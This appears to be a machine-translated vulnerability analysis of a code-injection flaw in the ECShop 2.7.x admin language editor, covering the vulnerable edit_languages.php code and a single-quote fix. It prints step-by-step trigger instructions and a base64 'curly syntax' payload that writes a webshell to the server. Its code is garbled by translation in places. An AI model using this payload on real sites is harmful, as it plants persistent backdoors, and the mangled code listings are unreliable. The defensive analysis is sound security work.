Directory
1 . Vulnerability Description 2 . Vulnerability trigger Condition 3 . Vulnerability Impact Range 4 . Vulnerability Code Analysis 5 . Defense Methods 6. Defensive thinking
1. Vulnerability description
For many CMS sites, they all need to save a lot of website Meta information, the most commonly used best practice is in the form of variable declaration in the. php file, when needed, directly include in, PHP file Loader automatically registers the variables in the introduced file into the current code space for direct reference by other code. For example
1. phpMyAdmin uses config/config.inc.php to save configuration information for phpMyAdmin: phpMyAdmin setup.php Code injection Vulnerability 2. Ecshop using/languages/zh_cn/user.php to save language configuration entries for Web sites: ecshop user.php php Curl Code Dynamic Execution Vulnerability
This dynamic variable is stored in a static file, and then the use of PHP file loader dynamic Reference mechanism to implement the local variable registration method for the development of the CMS framework is convenient, but also introduces security risks, hackers can through the "template editing", "background site basic description of information editing", " Language item editing, and so on, modify this type of file to inject PHP code into these. php files to get the opportunity for code execution
2. Vulnerability Trigger Condition
1. Visit Web site background http://localhost/ecshop2.7.2/admin/2. Left navigation bar template ManagementSelect: user.php (Member Center Language Pack), language item ManagementSearch: Is_paid3Edit the template file Insert ${${fputs (fopen (Base64_decode (Znvjay5waha), W), Base64_decode ( PD9WAHAGZXZHBCGKX1BPU1RBZNVJA10PPZ4))}}4. Access the file HTTP that was injected with PHP code://localhost/ecshop2.7.2/languages/zh_cn/user.php5. Build Webshellhttp://localhost/ecshop2.7.2/languages/zh_cn/fuck.php
Access the exploit URL
The Curl syntax code in the injected file gets executed and the Webshell file is written to the disk
Relevant Link:
http://www.wooyun.org/bugs/wooyun-2010-024714
3. Vulnerability Impact Range
2.7. 2 2.7. 3 if an earlier version exists unknown ...
4. Vulnerability Code Analysis
We know that this vulnerability belongs to a code injection vulnerability && malicious code persistence causing normal files to be contaminated by the Webshell permanent backdoor. So we analyze this loophole from the source of the vulnerability and contaminated. PHP file two ways to start
Let's start by analyzing the source of code injection: \admin\edit_languages.php
...../*------------------------------------------------------ *///--Edit Language items/*------------------------------------------------------ */ElseIf ($_request['Act'] =='Edit'){ /*the path of the language item*/$lang _file= Isset ($_post['File_path']) ? Trim ($_post['File_path']) :"'; /*the language item before the replacement*/$src _items=!empty ($_post['Item']) ? Stripslashes_deep ($_post['Item']) :"'; /*Modified language Items*/$DST _items=Array (); $_post['item_id'] = Stripslashes_deep ($_post['item_id']); for($i =0; $i < count ($_post['item_id']); $i + +) { /*Language Item Content if blank, do not modify*/ if(Trim ($_post['item_content'[$i]) = ="') {unset ($src _items[$i]); } Else{$_post['item_content'[$i] = Str_replace ('\\\\n','\\n', $_post['item_content'[$i]); /*This line of code is the key that causes the vulnerability to enclose the user's input in double quotation marks ("") and write to the file on disk which provides the hacker with the injection of "Curl Syntax code" into the disk file and provides the code execution The Opportunity*/$dst _items[$i]= $_post['item_id'[$i].' = '.'"'. $_post['item_content'[$i].'";'; } } ....
Here are some of the security issues that exist here:
1 The . edit_languages.php is the input boundary of the system and is the place where the user input data is received 2 . edit_languages.php does not effectively filter and escape the data entered by the user, causing the hacker to inject PHP code into the user.php file 3. The Principle of separation of "data" and" code " is not followed , User.php is essentially used to hold data information, but it is saved on disk in the form of a. php file that hackers can freely access. To do the logical separation of data, code, you can use the following 2 best security practices 1) to save the data at the head of the file using ifundine then exit defense Code 2 Save this type of data file with a. txt file name extension
Edit_languages.php after receiving the user's input, save the modified information in user.php, we continue to analyze this file
/languages/zh_cn/user.php
$_lang['is_paid'"${${fputs (fopen (Base64_decode (Znvjay5waha), W), base64_ Decode (PD9WAHAGZXZHBCGKX1BPU1RBZNVJA10PPZ4)}}";
The key here is the PHP Curl syntax syntax, where the code in double quotation marks ("") is executed dynamically by the PHP interpreter ("${${...").
For information on the syntax of this dynamic code execution in PHP, see additional articles
http://www.cnblogs.com/LittleHann/p/3522990.html// search: 0x10:curly Syntax
5. Defense Methods
This compound type of post-injection contamination of disk files, which in turn leaves a permanent file backdoor vulnerability, the repair scheme must also be compliant with the scheme
0x1: Fix \admin\edit_languages.php
Change the string saved to user.php to use single quotation marks (') wrap, in single quote mode, PHP Curl Syntax ("${${...") is not executable, which can effectively prevent the generation of new Webshell vulnerability files from the source
...../*------------------------------------------------------ *///--Edit Language items/*------------------------------------------------------ */ElseIf ($_request['Act'] =='Edit'){ /*the path of the language item*/$lang _file= Isset ($_post['File_path']) ? Trim ($_post['File_path']) :"'; /*the language item before the replacement*/$src _items=!empty ($_post['Item']) ? Stripslashes_deep ($_post['Item']) :"'; /*Modified language Items*/$DST _items=Array (); $_post['item_id'] = Stripslashes_deep ($_post['item_id']); for($i =0; $i < count ($_post['item_id']); $i + +) { /*Language Item Content if blank, do not modify*/ if(Trim ($_post['item_content'[$i]) = ="') {unset ($src _items[$i]); } Else{$_post['item_content'[$i] = Str_replace ('\\\\n','\\n', $_post['item_content'[$i]); /*This line is key to the patch code, changing the original double quotation marks ("") to single quotation marks (""), effectively organizing the execution of code injection*/$dst _items[$i]= $_post['item_id'[$i].' = '.'\ ''. $_post['item_content'[$i].'\ ';'; } } .....
0x2: Repairing/languages/zh_cn/user.php
After a code injection attack by hackers, the usre.php has become a new backdoor that needs to be cleaned of malicious code, i.e. dirty data cleaning
You can change the double quotation marks to single quotes
6. Defensive Thinking
From a defensive point of view, Ecshop's vulnerability is "code injection", but the difference between the common SQL injection is
1. The target object for injection of file/template editing class injection vulnerability is static PHP files on disk, not database 2. The file/template editing class does not take effect immediately after the code injection, but rather through subsequent accesses or by other files to execute the Curl syntax code in the injected file
The defense against this vulnerability requires a "dirty data cleanup", in addition to the use of input filtering similar to SQL injection and the idea of code defense to execute filtering.
The result of file-type code injection is that the hacker permanently cured the attack code in the file (the code injected in the Data table field is similar), the contaminated file is converted to a Webshell backdoor, which becomes a new loophole, to solve this problem completely, need to do at the same time
1 input filtering, blocking the source of Webshell PHP code injection 2. Clean up the Webshell backdoor file that has been injected to keep dirty data
Copyright (c) Littlehann All rights reserved
ECSHOP \admin\edit_languages.php Getshell Based on injection php Code into/languages/zh_cn/user.php